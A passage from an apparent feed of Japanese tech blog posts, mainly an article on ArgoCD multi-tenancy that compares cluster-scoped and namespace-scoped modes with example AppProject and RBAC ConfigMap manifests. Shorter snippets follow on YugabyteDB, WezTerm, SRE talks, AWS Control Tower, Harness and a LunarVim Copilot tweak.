テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想Cluster管理ツールの機能で、仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例：アップグレード、機能修正、など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service の実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の Projectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. ツール固有テナントの実践ProjectテナントProjectテナントは、ツール固有テナントの実践であり、NamespaceとAppProjectをテナントの単位とします。Projectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、Projectテナントの設計方法が異なります。次の章からは、CLモードとNSモードの両方でProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、Projectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例；ConfigMap) を配置します。各プロダクトチームは、Projectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | Medium実装方法AppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App-Of-Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... Argocd application controller - Argo CD - Declarative GitOps CD for KubernetesArgocd server - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。Casbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例：アップグレード、機能修正、など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各Projectテナント間で独立したArgoCDを管理します。例えば、Projectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各Projectテナントに、ArgoCDと関連するKubernetesリソース (例；ConfigMap) を配置します。各プロダクトチームは、Projectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes実装方法AppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App-Of-Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例：アップグレード、機能修正、など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDが独立しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 Projectテナント例の一覧NSモードなArgoCDを採用する場合、Projectテナント例を解説していきます。前述の通り、Projectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ \\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 Amazon | Kubernetes in Action | Luksa, Marko | Software DevelopmentKubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、Projectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. Projectテナントのデプロイ制限の仕組みそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ！』Projectテナントがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、NSモードなArgoCDの \\"テナント例3\\" を採用し、以下のAppProjectを作成したと仮定します。Projectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。Projectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、Projectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のプロダクト用Clusterを指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHubargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキー、など)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"Projectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。Projectテナントは、例えば 赤線 の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、Projectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. おわりにKubernetesのマルチテナントパターンとArgoCDでのテナントパターンの実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、Projectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのテナントパターンの収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day5","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"PaLM API for textで作るGoogle Cloudコストチェッカー","contentSnippet":"前段 Sreake事業部の橋本です。 Generative AIをSRE活動に活用する場合に大きく分けて以下のような2ケースが考えられます。これまで1つめのtoil削減の実装をGenerative AIに含まれる学習デー […]The post PaLM API for textで作るGoogle Cloudコストチェッカー first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-check-with-palm-api-for-text/","isoDate":"2023-08-16T05:06:08.000Z","dateMiliSeconds":1692162368000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WezTerm で快適な WSL2 環境にする","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 にしてからやっぱり不便だなあとも思っていました。(InputMethod の切","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"SREからPlatform Engineerへの拡大 というタイトルで登壇しました","contentSnippet":"概要Cloud Operator Days Tokyo 2023 で SREからPlatform Engineerへの拡大 というテーマでの登壇を果たしました。オンデマンド配信なのでいずれ見れるようになると思います。今回のサブタイトルは【運用の新時代】とし、それにちなんでメインタイトルを考えました。資料の作成過程で、話したい内容がどんどんと増えてきてしまい、20分という限られた時間での発表が一番の課題となりました。内容の整理に際して、具体と抽象 ―世界が変わって見える知性のしくみ という本を参照し、大変役立ちました。具体と抽象作者:細谷 功dZERO（インプレス）Amazon資料このブログでは、Cloud Operator Days Tokyo 2023での登壇内容をまとめております。資料作成時に参照したさまざまな参考情報も掲載していますので、読者の皆様が別途情報を探す手間を省けるよう心掛けました。ぜひ、本ブログをご活用ください。文字多くて分かりにくいのは分かってます。脳内整理はできているのですが資料を読みやすくすると20分に何も収まらず...。 speakerdeck.com参考文献O’Reilly Japan – SRE サイトリライアビリティエンジニアリングあなたらしくSREO’Reilly Japan – サイトリライアビリティワークブックO’Reilly Japan – SREの探求SRE at Google: How to structure your SRE team | Google Cloud BlogレトロスペクティブガイドWhat Is Platform Engineering?Top Strategic Technology Trends for 2023: Platform EngineeringMaking the Business Case for a Dedicated Platform Engineering TeamSRE NEXTPlatform Engineering Meetupチームトポロジー　価値あるソフトウェアをすばやく届ける適応型組織設計The History of DevOps ReportsEffective DevOpsオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイド","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412","isoDate":"2023-08-10T06:04:12.000Z","dateMiliSeconds":1691647452000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS Control Tower 徹底調査","contentSnippet":"AWS Control Tower とは AWS Control Tower とは Landing Zone を実装するための AWS のマネージドサービスです。統制を取りつつマルチアカウントを管理する仕組みです。 La […]The post AWS Control Tower 徹底調査 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-aws-control-tower/","isoDate":"2023-08-10T05:52:55.000Z","dateMiliSeconds":1691646775000,"authorName":"Sreake","authorId":"Sreake"},{"title":"HarnessでGKEクラスタにCDパイプラインを構築する","contentSnippet":"はじめに実務においてHarnessを使用する機会があったので、お試しがてらGKEクラスタ上にCDパイプラインの構築を行います。（※なお、今回はHarnessの使用に焦点を当てているため、CIの実…","link":"https://qiita.com/yokoo-an209/items/57e2e4c00394c9da85f7","isoDate":"2023-08-10T05:22:38.000Z","dateMiliSeconds":1691644958000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"2023年8月10日現在 でLunarVim と Copilot.lua でのマルチラインサポートの改善方法 ","contentSnippet":"github.comLunarVimユーザーとして、私はNeovimでcopilot.luaを頻繁に利用しています。しかし、マルチラインのサポートに関してはいくつかの課題がありました。もっというとどこかのタイミングでCopilotが一行ずつしかサジェストされなくなりました。この問題に対して、一部のコードを修正することで、この課題を解決する方法を見つけました。問題点Copilot.lua(Copilot.vimも同様に)の中のagent.jsには、マルチライン入力の停止点を示すコード h.stop=[\\"\\\\n\\"] が含まれています。この設定により、一部の場面でマルチラインサポートが期待通りに動作しないことがありました。解決方法私が採用した方法は、このh.stop=[\\"\\\\n\\"]をh.stop=[\\"\\\\n\\\\n\\\\n\\"]に変更することです。この小さな変更により、マルチラインのサポートが大幅に向上します。以下のコマンドを実行することで、この変更を簡単に適用することができます。MAC でのsed 利用なのでこのようなコマンドになります。各環境で合わせていただきたいです。sed -i \'\' \'s/h\\\\.stop=\\\\[\\"\\\\\\\\\\\\\\\\n\\"\\\\]/h\\\\.stop=\\\\[\\"\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\"\\\\]/\' 